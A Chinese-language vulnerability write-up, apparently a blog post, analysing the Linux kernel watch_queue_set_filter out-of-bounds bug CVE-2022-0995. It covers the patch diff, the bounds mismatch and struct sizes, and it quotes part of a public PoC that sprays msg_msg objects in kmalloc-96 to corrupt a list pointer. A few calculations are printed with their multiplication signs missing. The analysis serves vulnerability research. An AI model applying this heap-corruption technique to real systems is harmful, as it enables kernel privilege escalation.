CVE-2022-0995分析(内核越界 watch_queue_set_filter)

漏洞成因

此漏洞与CVE-2021-22555利用方式相似。

@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
 		    tf[i].info_mask & WATCH_INFO_LENGTH)
 			goto err_filter;
 		/* Ignore any unknown types */
-		if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+		if (tf[i].type >= WATCH_TYPE__NR)
 			continue;
 		nr_filter++;
 	}
@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
 
 	q = wfilter->filters;
 	for (i = 0; i < filter.nr_filters; i++) {
-		if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+		if (tf[i].type >= WATCH_TYPE__NR)
 			continue;
 
 		q->type			= tf[i].type;
@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref)
 
 	for (i = 0; i < wqueue->nr_pages; i++)
 		__free_page(wqueue->notes[i]);
+	bitmap_free(wqueue->notes_bitmap);
 
 	wfilter = rcu_access_pointer(wqueue->filter);
 	if (wfilter)
@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue)
 	rcu_read_lock();
 	spin_lock_bh(&wqueue->lock);
 
-	/* Prevent new additions and prevent notifications from happening */
+	/* Prevent new notifications from being stored. */
 	wqueue->defunct = true;
 
 	while (!hlist_empty(&wqueue->watches)) {

根据补丁位置,大致可以看到watch_queue_set_filter此位置很有可能是溢出点。

	for (i = 0; i < filter.nr_filters; i++) {
		if ((tf[i].info_filter & ~tf[i].info_mask) ||
		    tf[i].info_mask & WATCH_INFO_LENGTH)
			goto err_filter;
		/* Ignore any unknown types */
		if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
			continue;
		nr_filter++;
	}

	/* Now we need to build the internal filter from only the relevant
	 * user-specified filters.
	 */
	ret = -ENOMEM;
	wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
	if (!wfilter)
		goto err_filter;
	wfilter->nr_filters = nr_filter;

	q = wfilter->filters;
	for (i = 0; i < filter.nr_filters; i++) {
		if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
			continue;

		q->type			= tf[i].type;
		q->info_filter		= tf[i].info_filter;
		q->info_mask		= tf[i].info_mask;
		q->subtype_filter[0]	= tf[i].subtype_filter[0];
		__set_bit(q->type, wfilter->type_filter);
		q++;
	}

wfilter分配

查看相关代码,分配的watch_type_filter数量nr_filter为 tf[i].type < sizeof(wfilter->type_filter) * 8
而访问q = wfilter->filters; 则是 tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG.

sizeof(wfilter->type_filter) * BITS_PER_LONG > sizeof(wfilter->type_filter) * 8

所以这里因该是会造成访问越界地址的问题。只要 sizeof(wfilter->type_filter) * BITS_PER_LONG > tf[i].type > sizeof(wfilter->type_filter) * 8。

long watch_queue_set_filter(struct pipe_inode_info *pipe,
			    struct watch_notification_filter __user *_filter){
	  ...
	tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
...}

根据poc

 do {
    ntries++;

    filter->nr_filters = nfilters;
    for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96
      filter->filters[i].type = 1;
    }

    // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
    filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024

    if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
      perror("pipe2()");
      exit(1);
    }

    // Spray kmalloc-96
    spray_msgmsg();
    delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
    delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup

    // Filter go
    if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
      perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
      goto err;
    }

    check_corruption();

    if (corrupted_idx != -1)
      break;
    
    cleanup_msgmsg();
  } while (ntries < CORRUPT_MSGMSG_TRIES);

可以看到struct watch_notification_filter 是直接从用户态传进来的。sizeof(wfilter->type_filter) * BITS_PER_LONG = 1664 = 1024, sizeof(wfilter->type_filter) * 8 = 168 = 128;0x30a = 778;

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

struct watch_type_filter 占 16 个字节。

poc中nfilters=4, type=778的有占其中一个。其余type=1。

也就是内核分配了 16 + 4 + 4 * 5 * 3 = 80 而可以访问的范围确实 16 + 4 + 4 * 5 * 4 = 100.

越界的大小为 100 - 80 = 20。

poc 里堆喷了2000*96字节的堆。释放1950和0位置上的msg。重复50次堆喷。大致又是这样。
在这里插入图片描述

struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.h
struct list_head {
	struct list_head *next, *prev;
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

msg_msg = 8*2 + 8 + 8 + 8 + 8 = 48 = 0x30。

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);  //4048
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

也就是primary_msg的next的后四个字节将会被写成零。这样将造成与CVE-2021-22555利用过程翻译相同的情况。

利用方式

这个在cve-2021-22555中有详细的解释,不说了。
poc https://github.com/Bonfee/CVE-2022-0995

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值